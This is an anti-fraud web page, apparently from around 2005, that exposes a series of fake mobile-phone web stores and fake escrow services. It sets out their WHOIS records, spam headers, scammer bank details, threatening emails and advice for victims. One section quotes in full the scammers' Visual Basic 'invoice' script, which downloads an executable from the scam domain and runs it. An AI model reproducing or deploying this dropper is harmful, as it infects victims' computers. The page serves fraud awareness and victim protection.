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Mobile phone seller scams
Fake electronics stores and how to detect them Most fraudulent mobile phone sellers are not actual registered businesses. They have no offices, no warehouses, no accounts. They are just a bunch of guys with cellphones. All names and postal addresses are fake. The whole purpose of the fake companies is to trick people into sending cash or providing credit card details, without ever shipping any products to the customers. The criminals are taking advantage of the fact that there is a serious lack of law enforcement resources targetted at small scale online fraud. If you have lost less than $5,000-10,000 the police would rather not even open a file on your case. Don't expect serious action unless the damage is much higher. This legal mess comes as a shock to many victims, but it's the current reality. The fake stores listed here are primarily run by gangs from Nigeria, Romania and Russia. In some cases the only indication of where the criminals are is the country where the bank account is based, which may be different from the address claimed for the company. Here are some simple rules to follow if you don't want to get burnt:
How to fight back If you have had any questionable offers to buy mobile phones, laptop computers or similar items in Nigeria or Europe, please forward copies of emails to 419@419scam.org so we can warn others! Please use one of the following subject lines for your message: [419] mobile [419] mobile: fakecompanyname [419] mobile: scamemailaddress When you see such offers, use a disposable yahoo.com address to contact the company and get a quote for any phone or ask for a price list. You can also ask for payment instructions (bank accounts, wire transfer instructions). After you receive a response, click on the arrow on the right hand side of the Forward button in Yahoo! Mail and select "as attachment" to forward the reply to us. Use the above subject lines. When we receive those forwarded mails we can see where the mails are really sent from. It allows us to tie different scams and email addresses to the same originators.
Trans-GlobalGSM.com The following spam promises "Zero Risk". Yes, suuuuure! ;-) The website has a copyright note dated 2003-2005, suggesting the company has been in business for at least two years, when in fact the domain was only registered on 2005-04-06, i.e. four weeks before the first spam. Google finds no hits for the name of the street where the business is supposed to operate. There is no fax number, only a single mobile phone number and a web form.
From: "Trans-Global GSM" <Support@trans-globalgsm.com> To: <emailaddress> Sent: Tuesday, 03 May, 2005 6:12 Subject: Trans-GlobalGSM.com - 50% discount for all cell phones ! The spam email was sent directly from a dialup-account: Received: from [213.98.204.85] (helo=m37783726-2) by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1) id 1DSiEQ-0004sr-00 for emailaddress; Mon, 02 May 2005 23:13:34 +0200 Reply-To: "Trans-Global GSM" <Support@trans-globalgsm.com> From: "Trans-Global GSM" <Support@trans-globalgsm.com> To: <emailaddress> Subject: Trans-GlobalGSM.com - 50% discount for all cell phones ! Date: Mon, 2 May 2005 23:12:51 +0200
WHOIS details for sending network (IP 213.98.204.85): inetnum: 213.98.192.0 - 213.98.255.255 netname: RIMA descr: Telefonica De Espana SAU (NCC#2001015139) descr: Red de servicios IP descr: Spain country: ES admin-c: LJP5-RIPE tech-c: FLT14-RIPE rev-srv: scmrro3.nombres.ttd.es rev-srv: scmrro4.nombres.ttd.es rev-srv: ns.ripe.net status: ASSIGNED PA remarks: *************************************************** remarks: For ABUSE/SPAM/INTRUSION issues remarks: PLEASE CONTACT ONLY THROUGH LINK remarks: http://www.telefonicaonline.com/nemesys/ remarks: or send mail to nemesys@telefonica.es remarks: any mail to adminis.ripe@telefonica.es will be ignored remarks: *************************************************** mnt-by: MAINT-TdE source: RIPE person: L Jimenez address: TELEFONICA DE ESPANA address: Emilio Vargas, 4 address: 28043-MADRID address: SPAIN phone: +34 91 5846497 fax-no: +34 91 5842650 e-mail: adminis.ripe@telefonica.es nic-hdl: LJP5-RIPE mnt-by: MAINT-TdE remarks: *************************************************** remarks: For ABUSE/SPAM/INTRUSION issues remarks: PLEASE CONTACT THROUGH LINK remarks: http://www.telefonicaonline.com/nemesys/ remarks: or send mail to nemesys@telefonica.es remarks: any mail to adminis.ripe@telefonica.es will be ignored remarks: *************************************************** source: RIPE person: Francisco Lorenzo de Tuero address: TELEFONICA DE ESPANA address: Emilio Vargas, 4 address: 28043-MADRID address: SPAIN phone: +34 91 5194446 fax-no: +34 91 5846936 remarks: *************************************************** remarks: For ABUSE/SPAM/INTRUSION issues remarks: PLEASE CONTACT THROUGH LINK remarks: http://www.telefonicaonline.com/nemesys/ remarks: or send mail to nemesys@telefonica.es remarks: any mail to adminis.ripe@telefonica.es will be ignored remarks: *************************************************** e-mail: francisco.lorenzodetuero@telefonica.es nic-hdl: FLT14-RIPE mnt-by: MAINT-TdE source: RIPE
WHOIS details for domain "trans-globalgsm.com": Request: trans-globalgsm.com connected to whois.melbourneit.com [203.27.227.114:43] ... Domain Name.......... trans-globalgsm.com Creation Date........ 2005-04-07 Registration Date.... 2005-04-07 Expiry Date.......... 2007-04-07 Organisation Name.... Trans Global GSM Organisation Address. Carretera Malilla, 92 Organisation Address. Organisation Address. Valencia Organisation Address. 46026 Organisation Address. 00 Organisation Address. SPAIN Admin Name........... Lister Joan Daimond Admin Address........ Carretera Malilla, 92 Admin Address........ Admin Address........ Valencia Admin Address........ 46026 Admin Address........ 00 Admin Address........ SPAIN Admin Email.......... Support@Trans-GlobalGSM.com Admin Phone.......... +34610259087 Admin Fax............ Tech Name............ Verio Hostmaster Tech Address......... 5050 Blue Lake Dr. Tech Address......... Tech Address......... Boca Raton Tech Address......... 33431 Tech Address......... FL Tech Address......... UNITED STATES Tech Email........... hostmaster@VERIO-HOSTING.COM Tech Phone........... 888-663-6648 Tech Fax............. 888-663-6655 Name Server.......... ns19a.nameservers.net Name Server.......... ns19b.nameservers.net The postal address listed (Carretera Malilla, 92, Valencia) is the same as for a branch of a bank, Bancaja in Valencia. It is in a different city from the postal address listed on their website. Both the website and the WHOIS record list the same mobile phone number, though: Trans-GlobalGSM.com Carrer Diagonal 167 08017, Barcelona, Spain Call our customer representative at: +34-610-259-087 Please contact our Customer Service Team on +34-610-259-087 Support@trans-globalgsm.com = Joan Daimond Lister Universitat 23 Barcelona, 08012 Spain = David Cragster Carrer de Suite 160 Barcelona, 08001 Spain = Bank Name: BANCAJA Full Name: Joan Daimond Lister Account Number: 2077/0089/70/1601285235 IBAN: IBAN ES55 2077 0089 7016 0128 5235 BIC(SWIFT): CVALESVVXXX COUNTRY: Spain
Threatening unsigned email from "Trans-GlobalGSM.com": From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> To: <jwspamspy@pobox.com> Sent: Sunday, 08 May, 2005 3:27 Subject: Trans-Global GSM I hope you know what is the next thing we are going to do because of you website ! You better find a lawyer because hard days are coming for you . You have to pay for what you`ve done and i will quarantee you that you will pay . You said that on the our website is "All Copyrights Reserved to Trans-Global GSM 2003-2005" . For you information our company is running from 2003 , and now in 2005 we have made an website for our company . Best Regards Trans-Global GSM Sales Department E-mail: transactions@trans-globalgsm.com Message headers: Received: from 62.Red-81-38-196.pooles.rima-tde.net[81.38.196.62] (helo=m37783726-3) by mrelayeu.kundenserver.de with ESMTP (Nemesis), id 0ML2Dk-1DUU1p1mXL-0003SB; Sat, 07 May 2005 20:27:53 +0200 Reply-To: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com> To: <jwspamspy@pobox.com> Subject: Trans-Global GSM Date: Sat, 7 May 2005 20:27:54 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Message-ID: <ML2Dk-1DUU1p1mXL-0003SB@mrelayeu.kundenserver.de> Later we received another threatening email in the of a Pamela Joan Lister, very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. A third and fourth email were received several months later, just before the gang attacked our PayPal account using fake eBay auctions using at least two hacked accounts.
trans-global-gsm.com (2005-03-29)
WHOIS details for domain "trans-global-gsm.com": Request: trans-global-gsm.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.melbourneit.com [203.27.227.114:43] ... Domain Name.......... trans-global-gsm.com Creation Date........ 2005-03-29 Registration Date.... 2005-03-29 Expiry Date.......... 2006-03-29 Organisation Name.... John Mcpherson Organisation Address. 120 Country Place Drive Organisation Address. Organisation Address. Stockbridge Organisation Address. 30281 Organisation Address. GA Organisation Address. UNITED STATES Admin Name........... John Mcpherson Admin Address........ 120 Country Place Drive Admin Address........ Admin Address........ Stockbridge Admin Address........ 30281 Admin Address........ GA Admin Address........ UNITED STATES Admin Email.......... tgg_team@yahoo.com Admin Phone.......... +1.4042397242 Admin Fax............ Tech Name............ YahooDomains TechContact Tech Address......... 701 First Ave. Tech Address......... Tech Address......... Sunnyvale Tech Address......... 94089 Tech Address......... CA Tech Address......... UNITED STATES Tech Email........... domain.tech@YAHOO-INC.COM Tech Phone........... +1.6198813096 Tech Fax............. +1.6198813010 Name Server.......... yns1.yahoo.com Name Server.......... yns2.yahoo.com
"Cargo Escrow" / cargo-esc.com (2005-08-21)
This is a fake Escrow service run by the same gang as "Trans-GlobalGSM.com". The domain was registered on 2005-08-21. The domain used in the contact email of the WHOIS details was registered a few months earlier using a fake address in Denmark and a mobile phone number in Spain. It also mentions a "Joan Lister", a name connected to "Trans-GlobalGSM.com". Another fake escrow operated by the same gang was buyssafe-inc.com (created 2005-03-14).
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WHOIS details for domain "cargo-esc.com": Request: cargo-esc.com connected to whois.joker.com [194.245.101.83:43] ... domain: cargo-esc.com owner: Cargo Escrow email: cargo@electronics4trade.com address: 8306 Wilshir Blvd Ste. 232 city: Beverly Hills state: -- postal-code: 90211 country: US phone: 8007620398 admin-c: cargo@electronics4trade.com#0 tech-c: cargo@electronics4trade.com#0 billing-c: cargo@electronics4trade.com#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-08-21 18:16:30 UTC modified: 2005-08-21 18:30:10 UTC expires: 2006-08-21 14:16:29 UTC source: joker.com live whois service query-time: 0.055655 db-updated: 2005-09-11 03:35:54
WHOIS details for domain "electronics4trade.com": Request: electronics4trade.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.joker.com [194.245.101.83:43] ... domain: electronics4trade.com owner: FLEMMING STEEN NIELSEN organization: Electronics Trade email: listerjoan_2005@yahoo.es address: Naturparken 21 city: Roskilde state: -- postal-code: 4000 country: DK phone: +34-610-235-453 admin-c: listerjoan_2005@yahoo.es#0 tech-c: listerjoan_2005@yahoo.es#0 billing-c: listerjoan_2005@yahoo.es#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-04-25 12:23:17 UTC modified: 2005-04-25 12:23:17 UTC expires: 2007-04-25 08:23:17 UTC source: joker.com live whois service query-time: 0.071604 db-updated: 2005-09-11 03:38:44
buyssafe-inc.com (2005-03-14)
WHOIS details for domain "buysafe-inc.com": Request: buysafe-inc.com connected to whois.schlund.info [195.20.224.146:43] ... domain: buysafe-inc.com created: 14-Mar-2005 last-changed: 14-Mar-2005 registration-expiration: 14-Mar-2006 nserver: ns33.1and1.co.uk nserver: ns34.1and1.co.uk status: CLIENT-TRANSFER-PROHIBITED tech-c-firstname: Hostmaster tech-c-lastname: ONEANDONE tech-c-organization: 1&1 Internet Ltd. tech-c-street1: Herschel Street tech-c-street2: The Nova Building tech-c-pcode: SL1 1XS tech-c-city: Slough tech-c-ccode: GB tech-c-phone: +44.8708503305 tech-c-fax: +44.1753490444 tech-c-email: hostmaster@1and1.co.uk bill-c-firstname: Hostmaster bill-c-lastname: ONEANDONE bill-c-organization: 1&1 Internet Ltd. bill-c-street1: Herschel Street bill-c-street2: The Nova Building bill-c-pcode: SL1 1XS bill-c-city: Slough bill-c-ccode: GB bill-c-phone: +44.8708503305 bill-c-fax: +44.1753490444 bill-c-email: hostmaster@1and1.co.uk
WHOIS details for domain "secure2trade.com": Request: secure2trade.com connected to whois.crsnic.net [198.41.3.54:43] ... connected to whois.joker.com [194.245.101.83:43] ... domain: secure2trade.com owner: third party name organization: third party name email: cashcate_a2k@yahoo.de address: third party street address city: third party city state: -- postal-code: third party zip country: US phone: third party work number admin-c: cashcate_a2k@yahoo.de#0 tech-c: cashcate_a2k@yahoo.de#0 billing-c: cashcate_a2k@yahoo.de#0 nserver: a.ns.joker.com 194.176.0.2 nserver: b.ns.joker.com 194.245.101.19 nserver: c.ns.joker.com 194.245.50.1 status: lock created: 2005-02-09 13:21:26 UTC modified: 2005-02-09 13:21:26 UTC expires: 2006-02-09 08:21:26 UTC source: joker.com live whois service query-time: 0.059766 db-updated: 2005-09-11 03:54:25 A person with this email address (cashcate_a2k@yahoo.de) was selling Motorola Razrs in an auction in February and claimed to be based in Barcelona, Spain, just like Trans-GlobalGSM.com.
LocalGSM.com
The +34-6xx number is mobile phone in Spain. Here is what they say about themselves:Call our customer representative at: +34-666015453 Call us (Tool Free from USA): 1-877-533-4807 Customer Service Team on +34-666-015-453 LocalGSM.com: The premier way to shop online Who are we? LocalGSM.com is an store based in Burgos 47, 3/6 A,08100, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy. What does or system for you? As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated. An Shop Service That Is Secure, Flexible And Fast LocalGSM.com is hosted on secure servers using the latest in encryption technology. LocalGSM.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations. Despite their claims about encryption, you can't open their website via a secure connection (https://localgsm.com), which indicates they have no encryption certificate. On their products pages, all 10 different models on the first Sony Vaio page, from a 12" to a 17" screen, with drives sizes from 40 to 80 GB and CPU speeds from 1.4 GHz to 1.7 GHz cost exactly the same: €899.00. This doesn't make any sense. Here is a report we have received about them: MOBILE PHONE SCAM IN SPAIN!!! The company Trans-globalgsm.com has created another name for themselves: localgsm.com!!! I was defrauded. Saw their ad on ebay contacted them and wired about £700 from London. I became suspicious and asked my bank to stop it today. After a lot of hassle trying to trace the funds, I had to use the services of a translator to explain to the bank in spain i wired the money to that the account was being used for fraud. Apparently other victims had contacted them too and the funds have been frozen - so hopefully I will be getting back the major part of my money as the bank confirmed that the crooks could not get it because of my fast action and that of the other vulnerable individuals who they scammed!! Threatening mail from "Pamela Joan Lister" "Pamela Joan Lister" sounds very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. It seems ironic that a thief accuses us of being "rude".
Message headers: Received: from [80.58.35.42] by web26807.mail.ukl.yahoo.com via HTTP; Fri, 24 Jun 2005 15:54:20 CEST Date: Fri, 24 Jun 2005 15:54:20 +0200 (CEST) From: Pamela Joan Lister <listerjoan_2005@yahoo.es> Subject: Hi To: joewein@pobox.com
GSM-MobileShop.com The only phone number of their site is a mobile phone: +34-662-396-902. GSM-MobileShop.com: The premier way to shop online The company does not accept credit cards or PayPal payments (in other words, payment methods which are safe for the buyer), only money orders and bank wire transfers. Bank wire transfers to bank accounts in Spain are the second most common payment method in online fraud cases that we come across (after Western Union/Moneygram).
The following information is for payments on transactions that are in all currencyes.
Eurogsmshop.com (2005-08-16)
Eurogsmshop.com is a fraud. The domain was only registered on 2005-08-16, a week before the first person reported it to us. Its twin eurogsmltd.com (registered on 2005-09-08) is basically another version of eurogsmshop.com. It even still mentions "eurogsmshop.com" by name. Both are the same scam as Trans-GlobalGSM.com, LocalGSM.com and gsm-mobileshop.com. Eurogsmshop.com even uses the same mobile phone number as the first two (+34-666-015-453). Eurogsmltd.com uses a different mobile number (+34-697-531-049), which is mentioned in a thread on Dutch anti-fraud site internetoplichting.nl that also mentions the fraud site electronics4trade.com, which in turn is mentioned in the WHOIS details of cargo-esc.com, another scam related to Trans-GlobalGSM.com. The next scam in the series is e-phonehouse.com (registered 2005-09-20). All of these scams are run by the same criminals from Romania. EuroGSMltd.com used a bank account operated in the name of one "Marcello Tomassi" at the Spanish bank "La Caixa" located at Carrer Padilla 271 in Barcelona. The bank appears to have suspended this account now. The above fraud sites share descriptive text with the fake escrow sites escrow-bg.com ("USA Escrow") and parcel-ex.com ("Prestige Alliance"), but in a threating email from the gang the criminals deny that the fake escrow sites are part of the same scame as their other sites. For general support and advice please call our number(s) from 10 AM to 10 PM GMT Time, Monday to Friday and from 4 PM to 10 PM GMT Time Sunday and Saturday. WHOIS details for "eurogsmshop.com": Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com (http://www.godaddy.com) Domain Name: EUROGSMSHOP.COM Created on: 16-Aug-05 Expires on: 16-Aug-06 Last Updated on: 16-Aug-05 Administrative Contact: Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: WSC1.JOMAX.NET WSC2.JOMAX.NET Registry Status: REGISTRAR-LOCK
WHOIS details for domain "eurogsmltd.com": Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com Domain Name: EUROGSMLTD.COM Created on: 08-Sep-05 Expires on: 08-Sep-06 Last Updated on: 08-Sep-05 Administrative Contact: Private, Registration EUROGSMLTD.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration EUROGSMLTD.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: PARK21.SECURESERVER.NET PARK22.SECURESERVER.NET A customer who placed an order with EuroGsmLtd.com was sent an "Invoice" as an attachment by email. When he tried to view the file, his Virus scanner stopped him. The "Invoice" turned out to be a Visual Basic script that installs a Trojan in the Windows folder of the victim: invoicennnnnnn.vbs: const adTypeBinary = 1 const adSaveCreateOverwrite = 2 const adModeReadWrite = 3 set xmlHTTP = CreateObject("Microsoft.XMLHTTP") xmlHTTP.open "GET","http://eurogsmltd.com/esc/services.exe",false xmlHTTP.send contents = xmlHTTP.responseBody Set oStr = CreateObject("ADODB.Stream") oStr.Mode = adModeReadWrite oStr.Type = adTypeBinary oStr.Open oStr.Write(contents) oStr.SaveToFile "c:\Windows\services.exe", adSaveCreateOverwrite Dim oShell Set oShell = WScript.CreateObject ("WSCript.Shell") oShell.run "cmd /K c:\windows\services.exe & " Set oShell = Nothing
Another threat from the "Global GSM" gang:
Hello, Later the person offered to "talk": From: "ricky marn" <rickymarn@yahoo.es> This is yet another incarnation of the TransGlobal GSM / Euro GSM series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live. The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
e-phonehouse.com: The premier way to shop online This domain was referenced in an eBay auction. A buyer sent a payment to our paypal account, which apparently this company has given them in order to cause our PayPal account to be suspended. This is consistent with the three threatenting emails that we have received from the criminal who runs e-phonehouse.com and other websites used for these scams.
WHOIS details for domain "e-phonehouse.com": Domain Name: E-PHONEHOUSE.COM Registrar: GO DADDY SOFTWARE, INC. Whois Server: whois.godaddy.com Referral URL: http://registrar.godaddy.com Name Server: WSC1.JOMAX.NET Name Server: WSC2.JOMAX.NET Status: REGISTRAR-LOCK Updated Date: 20-sep-2005 Creation Date: 20-sep-2005 Expiration Date: 20-sep-2006 >>> Last update of whois database: Tue, 1 Nov 2005 15:08:10 EST <<< Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com Domain Name: E-PHONEHOUSE.COM Created on: 20-Sep-05 Expires on: 20-Sep-06 Last Updated on: 20-Sep-05 Administrative Contact: Private, Registration E-PHONEHOUSE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration E-PHONEHOUSE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: WSC1.JOMAX.NET WSC2.JOMAX.NET
Who are we? This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live. The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western Union to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
TeleGSM-Store.com: The premier way to shop online Domain registration details: Domain Name: TELEGSM-STORE.COM Registrar: GO DADDY SOFTWARE, INC. Whois Server: whois.godaddy.com Referral URL: http://registrar.godaddy.com Name Server: PARK19.SECURESERVER.NET Name Server: PARK20.SECURESERVER.NET Status: REGISTRAR-LOCK Updated Date: 24-oct-2005 Creation Date: 24-oct-2005 Expiration Date: 24-oct-2006 >>> Last update of whois database: Thu, 1 Dec 2005 02:29:58 EST <<< Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com Domain Name: TELEGSM-STORE.COM Created on: 24-Oct-05 Expires on: 24-Oct-06 Last Updated on: 24-Oct-05 Administrative Contact: Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: PARK19.SECURESERVER.NET PARK20.SECURESERVER.NET This scam appears connected to the "LocalGSM.com" scam. Report any case of fraud to the local police. Inform the webhosting company if you have been defrauded by this site (contact: abuse@cyrusone.com).
Anamea.biz is an store based in Via San Gallo 10, 16100, Genova, Italia.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy. Message headers: Domain Name: ANAMEA.BIZ Domain ID: D10638245-BIZ Sponsoring Registrar: WILD WEST DOMAINS, INC. Sponsoring Registrar IANA ID: 440 Domain Status: clientDeleteProhibited Domain Status: clientRenewProhibited Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Registrant ID: GODA-013432279 Name Server: DNS.BIZSITESERVICE.COM Name Server: DNS2.BIZSITESERVICE.COM Created by Registrar: WILD WEST DOMAINS, INC. Last Updated by Registrar: WILD WEST DOMAINS, INC. Domain Registration Date: Fri Aug 12 16:05:02 GMT 2005 Domain Expiration Date: Sat Aug 11 23:59:59 GMT 2007 Domain Last Updated Date: Fri Aug 12 16:05:08 GMT 2005 This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live. The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
TeleGSM-Store.com: The premier way to shop online Domain registration details: Domain Name: TELEGSM-STORE.COM Registrar: GO DADDY SOFTWARE, INC. Whois Server: whois.godaddy.com Referral URL: http://registrar.godaddy.com Name Server: PARK19.SECURESERVER.NET Name Server: PARK20.SECURESERVER.NET Status: REGISTRAR-LOCK Updated Date: 24-oct-2005 Creation Date: 24-oct-2005 Expiration Date: 24-oct-2006 >>> Last update of whois database: Thu, 17 Nov 2005 15:05:41 EST <<< Registrant: Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States Registered through: GoDaddy.com Domain Name: TELEGSM-STORE.COM Created on: 24-Oct-05 Expires on: 24-Oct-06 Last Updated on: 24-Oct-05 Administrative Contact: Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Technical Contact: Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com Domains by Proxy, Inc. DomainsByProxy.com 15111 N. Hayden Rd., Ste 160, PMB 353 Scottsdale, Arizona 85260 United States (480) 624-2599 Domain servers in listed order: PARK19.SECURESERVER.NET PARK20.SECURESERVER.NET
GSM-MarketPlace / phones-marketplace.com gsm-marketplace.com / phones-marketplace.com is the same scam as TeleGSM-Store.com / TransGlobal GSM / Euro GSM / e-phonehouse.com. This series of mobile phone scams are run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live. Phones-Market Place Message headers: Phones ATTN: PHONES-MARKETPLACE.COM c/o Network Solutions P.O. Box 447 Herndon, VA. 20172-0447 Domain Name: PHONES-MARKETPLACE.COM Administrative Contact, Technical Contact: Phones qu6qr2bb62f@networksolutionsprivateregistration.com ATTN: PHONES-MARKETPLACE.COM c/o Network Solutions P.O. Box 447 Herndon, VA 20172-0447 570-708-8780 Record expires on 24-Jan-2007. Record created on 24-Jan-2006. Database last updated on 21-Feb-2006 19:48:50 EST. Domain servers in listed order: NS19.WORLDNIC.COM 216.168.228.12 NS20.WORLDNIC.COM 216.168.225.150 Domain Name: PHONES-MARKETPLACE.COM Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: NS19.WORLDNIC.COM Name Server: NS20.WORLDNIC.COM Status: REGISTRAR-LOCK Updated Date: 24-jan-2006 Creation Date: 24-jan-2006 Expiration Date: 24-jan-2007 Here is their other domain: Message headers: Domain Name.......... gsm-marketplace.com Creation Date........ 2006-01-21 Registration Date.... 2006-01-21 Expiry Date.......... 2007-01-21 Organisation Name.... arnold herbstein Organisation Address. c / mas 12 Organisation Address. Organisation Address. Barcelona Organisation Address. 08018 Organisation Address. 00 Organisation Address. SPAIN Admin Name........... arnold herbstein Admin Address........ c / mas 12 Admin Address........ Admin Address........ Barcelona Admin Address........ 08018 Admin Address........ 00 Admin Address........ SPAIN Admin Email.......... arnold_herbstein@yahoo.es Admin Phone.......... 664 326 784 Admin Fax............ Tech Name............ Verio Hostmaster Tech Address......... 5050 Blue Lake Dr. Tech Address......... Tech Address......... Boca Raton Tech Address......... 33431 Tech Address......... FL Tech Address......... UNITED STATES Tech Email........... hostmaster@VERIO-HOSTING.COM Tech Phone........... 888-663-6648 Tech Fax............. 888-663-6655 Name Server.......... ns19b.nameservers.net Name Server.......... ns19a.nameservers.net Domain Name: GSM-MARKETPLACE.COM Registrar: MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE Whois Server: whois.melbourneit.com Referral URL: http://www.melbourneit.com Name Server: NS19A.NAMESERVERS.NET Name Server: NS19B.NAMESERVERS.NET Status: ACTIVE Updated Date: 20-jan-2006 Creation Date: 20-jan-2006 Expiration Date: 20-jan-2007 This is a fake electronics store probably run by criminals from Romania. It's connected to the fake Escrow company onlineshipping-worldwide.org. Apart from being used in the same scam, both domains are hosted by the same webhosting company.
WHOIS details for domain "mobile-shop-inc.net": Domain Name: MOBILE-SHOP-INC.NET Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 06-oct-2005 Creation Date: 06-oct-2005 Expiration Date: 06-oct-2007 The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. The information below is provided by NAMES4EVER for personal use only. NAMES4EVER does not guarantee its accuracy. By submitting a query, you agree that you will use this information only for lawful purposes and that; under no circumstances will you use this information from NAMES4EVER to: (a) allow, enable, or otherwise support the transmission of mass commercial advertising or solicitations via e-mail; (b) enable high volume, automated, electronic processes that apply to NAMES4EVER and (c) sell the information. NAMES4EVER reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy by NAMES4EVER. NAMES4EVER is ICANN accredited Registrar for .com .org and .net domain names. Domain name: mobile-shop-inc.net Registrant: t a davison (WGBFK) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Administrative Contact: t a davison (GM4DR) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Technical Contact: t a davison (WGBFK) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Billing Contact: t a davison (B9YMS) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Record last updated on 2005-10-06 00:00:00 Record created on 2005-10-06 00:00:00 Record expires on 2007-10-06 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com 